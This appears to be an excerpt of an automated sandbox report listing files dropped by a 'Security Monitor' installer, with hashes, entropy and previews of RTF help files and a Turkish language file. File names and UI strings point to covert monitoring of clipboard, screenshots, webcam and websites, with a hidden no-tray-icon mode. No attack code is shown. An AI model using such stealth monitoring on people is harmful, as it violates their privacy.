File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	68966
Entropy (8bit):	4.980232511599592
Encrypted:	false
SSDEEP:	768:wqFy4FxrUJHT2njX8x3TLjwUtqYepAkVZEdvI9vTkdr9oY7sad4m11F8yO61x3fj:wqJ7RTkdtIA9J
MD5:	84C18085AA83A3983748A25518050BF5
SHA1:	92861E7CC4A6C458188EE78856C6D542EC279BD8
SHA-256:	BB5C8F79F380A101456F8C6157E9999F906CE697B357789DB415B5182D4BBA21
SHA-512:	A8477B72B61D832DB1C72074E70E6A3752F67C21A9B6DB02261CD155AD583806DFA866A4533DB2FFDE9D2B978C4972E3B4FA0BC06AC2E91F4F207C8468653A3B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Tim

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\scheduler.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	42355
Entropy (8bit):	5.0527900529716705
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmV4JAF/WMvgDNHkAwd6Lkygbq4TF:VklnIV4J34TF
MD5:	6E4790A124B7FF2124F2D64A1F5935AE
SHA1:	809C008765ADDE1CFF719DF84F5D1A6972C9D15A
SHA-256:	7BC836689CF9FF9CF09F7E58AF04356C29C44CD67256FF828873AFAE1D9AD78A
SHA-512:	9DA4AFC8A0E1A92A33ED8D33C8C3E6162DC0FCED24BF9A65A69ED92380B10E5B639E6809067E1D8A7F2BCD7300A809CFBA07693AF9A6B425CCDA76CAC53AB38C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\screenshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	45797
Entropy (8bit):	5.048112106920449
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmms0Fzyf/8Ze52zxn1yIATqQfIUj1gCK/:VklnIsM4T4
MD5:	B282950E706D40B97814A1BE2F1513FE
SHA1:	82318E2310302B88264AF88800CB5A6762446C20
SHA-256:	C93DEB9DF3F1878F380EC3C9348E22E07A5A38CC005D180FFAE3EF7C663BA567
SHA-512:	0A5128EE9895BDB59F247B49B105E990675E27A9F93F006E88500CEBE5084722DD4D1CC74CDC31AC65AAAE0962D4FA2F1EDB96C26AA4CBE733054B35D047C49B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\settings.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	54358
Entropy (8bit):	5.030949914338969
Encrypted:	false
SSDEEP:	768:Vk13TxjelQcX09coHJreOYSN4UIRopZMggLBbWm6CgqMPYZtYJxewPO1nS3jcL9A:VkLjoVq4TC
MD5:	72F2281B43D886812D0AB9227F12438E
SHA1:	9FA51047B63B8C6771351030059CA120DB60FCDA
SHA-256:	A1D007010FAB6C2E57A687E45B26AC54BCCDCB91D4310C0BD7ECD0C478AFF63A
SHA-512:	78FF6C728C82E2790C1D43759EDC5ECF4A883B6034246E4CC40A4526254E7CCBC766225B51A6ED22AD3B6EC96A2411F47922549146C7D621C68F9C8BCBB22226
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\siteblock.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44680
Entropy (8bit):	5.0440980385984355
Encrypted:	false
SSDEEP:	768:Vk13ixj20TaGC5X2kEDYd/awBGkRYoGPLo9C4Yhn8uw8h33SSnHDlM85baNRWmgA:VkGt4T3
MD5:	8F7F1A8853F08FDC85B12A89E08CF432
SHA1:	D2F7DCC9250548EA79E9AB2148E232B183527D2D
SHA-256:	519A67854D21C49B501187DC6DE66AB09C403ABE68F5E3F20ECEAFD24FD92A51
SHA-512:	871B3634AB86A66E58424D45984EF0EA8973220D3A17F58B4CD399807045E5A6C72505F82E40A2789BBCF62C219E1EBBFD109DB29A0ECD3433AD04A47434A48A
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\snapshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	43957
Entropy (8bit):	5.05318714443273
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmqAFbMmzigeIgpwgM/tI1m3AG8bq4Tn:VklnIqk4Tn
MD5:	C802BE58C5B4EEE36B30EAE58603CBE5
SHA1:	3F245C80D14B4051CDE661FE373FB7C57020019A
SHA-256:	6D1E5226FE921E8E23C48A0F7C4FC06B815BB0D777C2DE20D6E4EB2A53100023
SHA-512:	402EBEFF45912562F8248CA7018BEEDE532E91F54839AA5AE556590D6F9D9D786E39E9776808C30F050CDC22BEB595A715DF8A2603ED1AF675A2B07665B249FB
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\sound.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	43947
Entropy (8bit):	5.053170962954844
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGUxQBkyKWm+m2NjrOX/zJwPzFZ6LUECxfxkSFgc/rcaVbnq4Tf:VklRPc4Tf
MD5:	874129F2A6DD7287BADBF2EBD223923F
SHA1:	A6D84C0AE81F13DE1C8952A8EA3602DC54B99C2E
SHA-256:	C824F8E324B7B859ADCCA1F38437CEE6AA19ECF8FB5C8723C6347DCEA2206128
SHA-512:	236A143EC7C0E1151CAE3B0399884E7498327B2F9E4C03FA65DCDCD9628CEE9BE6DEEC5A7B5312E8CB8B016C4B5BDAADDAEDD49E20F7D75F71AD63D49F85EDA2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\video.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44885
Entropy (8bit):	5.051249541456295
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmqoFleTHHqaXD8TfLlCeTxDn4UfvUwNi:VklnIqN4Tm
MD5:	26DF31606E6051A5AB82AFA526964B5B
SHA1:	E567611817B3963033B65E615EE4ABB3FCE7499A
SHA-256:	8B807D3D26611E1DD448B29E0626173AE0C4077974E4BC018358536D48A6F510
SHA-512:	49BF5203F94FDB4136E58F17CFF137DD5685372A135701E22649E1B2661A3F48AD09B2FE6EDBA57AF4DD80C0766934AE2A281F845D32C9D529A3C20A3E9315F6
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\websites.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42973
Entropy (8bit):	5.043020142659255
Encrypted:	false
SSDEEP:	768:wqFkwxjeVGh+DoLLXI1nhDGi3w2EHlT2njX8x3DkF8zHtrWM+cimZ/6A9r:wqR3tIA9r
MD5:	286021A4AA9BD225FA7A87089380213E
SHA1:	DA805EA3171A5FFF8357CD89F798D576D0B27E70
SHA-256:	C447B4CA501DAB11FCDFF381BABF34C63BE48B0DADBC538D2C5F1CD07F4D7BCF
SHA-512:	F4A21476EE1870D47162C29625D966D37C16B3F40EE30F54E68A8F81BAC74DEE3FD5C7489DC5F883745DB98E7BCB69B80DB00A664A3330FB0AB1DEF3AA9F7F56
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	17081
Entropy (8bit):	5.237330658373566
Encrypted:	false
SSDEEP:	384:fd+wUQhflYfUg7EXwoXy5Pt/5k9bS+RnNMvjxYay:fVli88Pt/ObVNsxYay
MD5:	665E034C26764DC99A3E8C8A9EDC54BB
SHA1:	4CBF034140A28CF6BBF436C13D718E588DCA20BD
SHA-256:	4E8BBFDEFB2414F62B84AB41831EBAC15E8D5571022B14FF697C6788D0A73068
SHA-512:	DE73A62A6930B91563D67DC38F14549269285A75E9B0C36285E455AE85D4A2FD423CCBE0095A489AC795EB6D97210CE2FCEC25322CF6A1EDDD5EB9A2085741A2
Malicious:	false
Reputation:	unknown
Preview:	[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="Ba.la"..tbStartHint="G.nl.k tutmay. a."..tbStop="Durdur"..tbStopHint="G.nl.k tutmay. kapat"..tbFind="Bul"..tbFindHint="G.nl.k bilgisi ara"..tbSetting="Ayarlar"..tbSettingHint="Program ayarlar."..tbAbout="Hakk.nda"..tbAboutHint="Hakk.nda / kay.t bilgisi"..tbHomePage="Ana Sayfa"..tbHomePageHint="Program.n Ana Sayfas.na Git"..tbToday="Bug.n"..tbTodayHint="Bug.n.n g.nl...ne git"..tbHide="Gizle"..tbHideHint="Gizlilik modu (Sistem .ubu.unda hi. simge yok)"..tbMinimize="K...lt"..tbMinimizeHint="Simge Durumuna K...lt"..tbExit="..k"..tbExitHint="..k ve g.nl... durdur"..gbLog="Olay G.nl..."..tCurrLogSize="G.nl.k Boyutu (Mb)"..tCurrScrSize="Ekran Resmi Boyutu (Mb)"..tCurrSnpSize="Web Kameras.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\SN.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	42288
Entropy (8bit):	5.108390882492053
Encrypted:	false
SSDEEP:	768:TLMrUuh04mIYKRXOYIX6tS+zdGA+ElGj/zdUIpeabvJ:T9B3dUIpeabvJ
MD5:	97897027B8B5FE133581EA13A6EE7976
SHA1:	614F116D74418D950D6E6D0989BF7249ED77721B
SHA-256:	4E4734B0CE3DCFBAF08B4EBE18926E6AE6E63A50F0C4CB6D47452EACF9253F2D
SHA-512:	00755B8B03BC8A83B36103E79C7FF62BA50816C4669A8CBBFADC4CD52E31037BE1ECD3CA93EC1A3B5D28363F54E49E3C91F461D6BB7664FA7D7327BEE75B9780
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f030202

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\activity.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	37709
Entropy (8bit):	5.097982097595037
Encrypted:	false
SSDEEP:	384:0LMrCVmd0XKvpXnKnfmuh4jc0IXjFkjWrjfjOjWj3Q1/i6rGsqFwhR/MizFZKeBt:0LMrHuh4puRkAzKqLQ1l/zdUIpeabvr
MD5:	B6940DC6E8FD337224A965573CCC6C96
SHA1:	07F590E24341EA99AD71840F0ACE09FE7BDFD3D3
SHA-256:	D6B44A01370E7516DE60CB797FB79D01BFD0A1734FA8EF227B7537A7676C29AE
SHA-512:	CD3BC33236797086019006FFB4CFE5DDD3F796A1966A008832DDE0EC10DB6082D3ACAA2EFE5487EC419B89BA9A39B2B96309C639A4F3EA0F22FD505F4417A9D5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\alarms.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	37812
Entropy (8bit):	5.098588085153387
Encrypted:	false
SSDEEP:	768:0LMrbpuhyiJXQIfR8+mo2VB/zdUIpeabva:08py5WdUIpeabva
MD5:	32604687CD540ED2D4E66FEE8FB4A125
SHA1:	29FE76F14A1D21DF0E2AF0DF2C84255E734C020D
SHA-256:	8EAD5B5379FB2F98AFF59D49A2BD8224A93702CACA0DE228A65449A91DFD87DC
SHA-512:	1C1B8F794DDB946B983A3193B5FD7DAC373EEE11CB5BA27FE8B0723B00C230971E6C722EBA5C52CAD1234AF41DD98FCFD0AAFBE1F44F474EFCDD59DCA3BBBC49
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\clipboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	35217
Entropy (8bit):	5.100503141917066
Encrypted:	false
SSDEEP:	384:ZFRfkkIOxdWvXLV2NakmumYjucj+jaUysUredZjFjDfA7Leo75Y3k37pHYfjioJW:ZFRfAumYicq2BlMZB/A7yZo7IJJW
MD5:	1456CC4187B4C904B65403612F948F8D
SHA1:	D8636D6B2B0EDCB47001AD5D107643D66C4A0623
SHA-256:	FE38EEF744F8B1E2D385BDB4487C795BBF4B74E6C4EF2B61201E4276C04F941E
SHA-512:	CA7E563B3552F12DB33F6AAC2946AB7DC1AD83EA1726529A42C06F236AAEB896169FF4AFBC990AFC12473498C07584C3CA18B148F0184FB295C2DACA2482187B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1049\deflangfe1049\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

